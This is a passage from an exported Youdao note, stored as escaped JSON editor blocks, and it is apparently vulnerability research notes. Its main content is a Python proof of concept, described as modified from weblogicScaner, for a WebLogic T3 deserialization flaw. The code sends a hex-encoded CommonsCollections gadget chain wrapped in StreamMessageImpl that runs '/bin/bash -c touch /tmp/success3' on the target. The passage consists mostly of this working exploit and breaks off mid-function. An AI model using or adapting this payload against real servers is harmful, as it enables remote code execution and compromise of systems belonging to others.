}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPXU-1673857206454&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5128/WEBRESOURCE9a155c70e68681db13913fdda5f25fa0&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZSSX-1673857211444&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5129/WEBRESOURCE54e0206892d95c807ed25d22df1d5a82&#34;,&#34;width&#34;:2316,&#34;height&#34;:1498},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JwxJ-1673853898579&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOa0-1673853898580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为方便调试稍微改了一下weblogicScaner的poc&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jD5c-1673853898578&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;stxt-1673853898577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0Y3W-1673853811210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iBfb-1673857235108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNP5-1673857235107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;up2D-1673857235110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dOf-1673857235109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2MYW-1673857235112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sJvZ-1673857235111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7jU-1673857235114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EQxc-1673857235113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TUz-1673857235116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HCaQ-1673857235115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9Nt-1673857235118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CJnK-1673857235117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, Union&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uz8w-1673857235120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2LK-1673857235119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kRWo-1673857235122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL36-1673857235121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from stars import target_type, Star&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Dkh-1673857235124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2X3i-1673857235123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLMX-1673857235138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kS9G-1673857235137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -&gt; (bool, dict):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qx1o-1673857235140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yhZ0-1673857235139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # T3协议握手&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1rRN-1673857235144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I18i-1673857235143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        dport = int(dport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r4Q7-1673857235146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7H49-1673857235145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nvwm-1673857235148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q0Pi-1673857235147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.settimeout(timeout)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j5rx-1673857235151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gfin-1673857235150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LR6M-1673857235153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPsb-1673857235152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.connect((dip, dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va15-1673857235155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EIyC-1673857235154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UvrC-1673857235157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tx1d-1673857235156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FwUl-1673857235159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9g6i-1673857235158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except ConnectionRefusedError:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Amd-1673857235161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjGd-1673857235160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection refuse.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nG7x-1673857235163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTq1-1673857235162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNRl-1673857235165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b98G-1673857235164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qzuv-1673857235167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GKaE-1673857235166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kAYk-1673857235169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iWi4-1673857235168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QP8Z-1673857235171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Zyh-1673857235170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMQb-1673857235173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dmY-1673857235172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # 构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9t5o-1673857235175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1KG3-1673857235174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnyA-1673857235177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dv3W-1673857235176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tbYv-1673857235179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wqC-1673857235178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfLR-1673857235181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;icRo-1673857235180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlw6-1673857235183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5s5B-1673857235182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMHw-1673857235185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzcO-1673857235184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQih-1673857235187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GXnZ-1673857235186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8yK-1673857235189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrfD-1673857235188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUU1-1673857235191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nniU-1673857235190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04UU-1673857512271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yxNQ-1673857512269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDax-1673857397817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZgQK-1673857397816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nn0a-1673857235199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kKku-1673857235198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUpm-1673857514790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyuY-1673857514788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtsb-1673857460936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qET4-1673857460934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K77i-1673857235201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwTs-1673857235200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wij5-1673857235203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLQx-1673857235202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EsgX-1673857235205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDOx-1673857235204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjsw-1673857235207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkpC-1673857235206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gett-1673857235209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twNr-1673857235208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8HG2-1673857235211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IrBc-1673857235210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySx-1673857235213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tEUJ-1673857235212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;weblogic.jms.common.StreamMessageImpl&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mX2G-1673857235215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A7gH-1673857235214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except 